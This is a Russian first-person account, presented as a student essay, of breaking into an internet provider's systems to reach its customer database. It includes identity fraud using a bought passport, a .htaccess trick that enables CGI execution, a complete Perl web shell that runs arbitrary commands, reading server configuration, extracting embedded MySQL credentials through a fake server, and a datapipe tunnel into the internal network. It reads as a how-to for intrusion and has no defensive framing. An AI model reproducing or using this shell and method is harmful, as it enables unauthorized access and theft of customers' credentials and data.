Инструментарий несанкционированного доступа
Рефераты >> Программирование и компьютеры >> Инструментарий несанкционированного доступа

Запускаем браузер и пытаемся попасть на http://statserv.провайдер.ру. Не пускает! 403 Forbidden, говорит. Снова заходим на www.провайдер.ру и среди прочей информации обнаруживаем, что доступ к серверу статистики предоставляется только клиентам этой компании и только из внутренней сети, и на нем можно ознакомиться с количеством потребленных услуг и даже поменять пароль(!). Более того, каждому клиенту этого провайдера предоставляется возможность бесплатно завести домашнюю страничку. Но доступ к этой страничке предоставляется только из внутренней сети по протоколу FTP c тем же (!!!) логином/паролем, который используется для доступа в Интернет. Размышляем вслух . Если это так, то скорее всего и FTPd и Apache авторизуют пользователей из общей базы данных.

Пришлось даже проиндексировать (HT://Dig) все доступные WEB-странички на http://users.провайдер.ру/, однако следов использования CGI-скриптов не обнаружилось .

OK! Обратимся к человеческому фактору .

Вторник, 10-00

Подхожу на улице к молодому человеку бомжеватого вида и слезно умоляю (за 100 рублей) одолжить паспорт на некоторое время. Через 20 минут в моих руках оказался договор, согласно которому я, Иван Петрович Пуговкин имею право воспользоваться услугами Интернет через компанию www.провайдер.ру и, в числе прочих возможностей, завести собственную домашнюю страничку и проверить состояние лицевого счета на сервере статистики. Логин/пароль прилагаются.

Дело в том, что на сервере провайдера было написано, что "домашние странички следует готовить в кодировке win1251. Если вы используете другой тип кодировки, то в корневой каталог вашего сервера можно положить файл .htaccess с одной строчкой "CharsetSourceEnc koi-8r". Только в данной ситуации кодировки нас совсем не интересовали. Кладем в мой домашний каталог файл .htaccess, только строчка выглядела немного по другому - "Options Includes ExecCGI". Заливаем по FTP маленький файл (test.cgi),

=============== test.cgi =============

#!/usr/local/bin/perl

print "Content-type: text/html\n";

print "test\n";

=============== end of test.cgi ========

делаем "chmod 755" при помощи FTP-клиента. Запускаем браузер и заходим на http://users.провайдер.ру/user_name/test.cgi). Yes!!! Работает! Мы смогли запустить cgi-скрипт на perl, хотя провайдер и считает, что это невозможно. Сие означает, что, в принципе, мы можем запустить на сервере любую программу с правами пользователя, из под которой работает WEB-сервер (например, nobody). В качестве инструмента загружаем на сервер следующую утилиту (shell.cgi), изменяем ее атрибуты на 755,

==================== shell.cgi ==================

#!/usr/local/bin/perl

read (STDIN, $buffer, $ENV{'CONTENT_LENGTH'});

@names=split('&',$buffer);

foreach $name (@names)

{

($field,$value)=split('=',$name);

$value=~ s/\+/ /g;

$value=~ s/%([0-9A-Fa-f][0-9A-Fa-f])/pack("c",hex($1))/ge;

$form{$field}=$value;

}

print <<EOT

Content-type: text/html

<html>

<body bgcolor="#ffffff" onLoad="document.forms[0].com.focus()">

<form method="post" action="shell.cgi">

<input size=50 name="com">

</form>

EOT

;

$result = `$form{com} 2>&1`;

$result =~ s/\n/<br>/g;

print $result;

print "</body></html>\n";

================ end of shell.cgi ==================

заходим на http://users.провайдер.ру/user_name/shell.cgi) и в формочке (shell c правами пользователя nobody) набираем какую-нибудь UNIX-команду. Например, "date". Впрочем, сколько сейчас времени нас интересует только лишь по той причине, что прошло всего 15 минут с момента начала попытки взлома. А сейчас нас больше волнует конфигурационный файл сервера Apache. Обычно он находится здесь - /usr/local/apache/conf/httpd.conf. Пробуем его просмотреть при помощи нашей странички (shell.cgi) командой "cat /usr/local/apache/conf/httpd.conf". Оказалось, что на этом хосте одновременно функционируют два виртуальных Web-сервера (сервер статистики и сервер, где хранятся наши бесплатные странички). Начинаем изучать сервер статистики . Авторизация выполнена средствами Apache, причем авторизуется он в MySQL-базе (http://www.mysql.com) на сервере store.провайдер.ru.

============== httpd.conf =============

Auth_MYSQLinfo store.провайдер.ru nobody .

AuthName Mail_list

AuthType basic

Auth_MYSQLdatabase users

Auth_MYSQLpwd_table passwd

Auth_MYSQLuid_field email

Auth_MYSQLpwd_field passwd

Auth_MYSQLgrp_table logins

Auth_MYSQLgrp_field disal_group

Auth_MYSQL_EncryptedPasswords off

<limit get post>

order deny,allow

allow from all

require valid-user

</limit>

============== end of httpd.conf =========

Теперь мы точно знаем, где хранится клиентская база!

После непродолжительного изучения возможностей сервера статистики я нахожу скрипт, при помощи которого клиент может поменять пароль в базе (http://user_name:passwd@startserv.провайдер.ру/cgi-bin/connect.cgi). Снова захожу на http://users.провайдер.ру/user_name/shell.cgi и делаю "cat /usr/local/apache/doc/statserv/cgi-bin/connect.cgi". Эх! Не повезло! CGI-скрипт написан на языке Си и уже скомпилирован. Вот невезуха! Если бы использовался Perl, то пароль для доступа к MySQL можно было бы уже иметь на руках. Впрочем, настоящего кул-хацкера эта проблема не сможет надолго остановить!

Вторник, 12-00

Итак, мы имеем скомпиленный скрипт, который умеет коннектиться к MySQL-серверу на store.провайдер.ru (где, судя по всему, и находится то, что нас интересует). Причем в качестве входных параметров этот скрипт использует переменные REMOTE_USER и REMOTE_PASSWD (наш логин/пароль, при помощи которых мы авторизовались на сервере статистики). Интересно, а на какой системе скомпилена эта штука? Набираем "uname -an" и получаем Linux Mandrake 7.0. Класс! У меня на компьютере используется то же самое. Копирую (через shell.cgi) этот скрипт в свой домашний каталог и перекачиваю по FTP к себе на машинку. После изучения кода в HEX-редакторе оказывается, что программа использует libmysqlclient.so.6.0, что коннектится она к store.провайдер.ru:3306 к базе users и что логин/пароль вкомпилированы непосредственно в нее. Помучаться пришлось немало, но в итоге я научил эту программу запускаться на моем компьютере.

Следующим этапом было написание софтинки, которая слушает порт 3306 и в минимальном объеме эмулирует работу MySQL-сервера. Прописав в файл /etc/hosts строчку о том, что мой компьютер - store.провайдер.ru, я научил скрипт коннектиться в то самое место, которое мне было нужно. Не буду описывать подробности, факт тот, что логин/пароль для доступа к MySQL-серверу на store.провайдер.ру я все-таки вытащил.

Среда, 21-30

Предварительно просканировав store.провайдер.ру на наличие открытых портов, я понял, что проще всего добираться до MySQL-базы через хост users.провайдер.ру. Немного поразмыслив, я решил просто подвесить там "трубу", т.е. устроить редирект таким образом, чтобы, законнектившись на users.провайдер.ру:23456, я автоматически попадал на store.провайдер.ru:3306. На сервере http://www.rootshell.org нашлась программа datapipe.c. Загрузив ее на сервер и скомпилив ее через nobody-shell, который мы "поимели" пару часов назад (http://users.провайдер.ру/user_name/shell.cgi) мы получаем готовый транспорт для взлома. Остается только его запустить. Что и делается командой "./datapipe 23456 3306 store.провайдер.ru 2>&1".


Страница: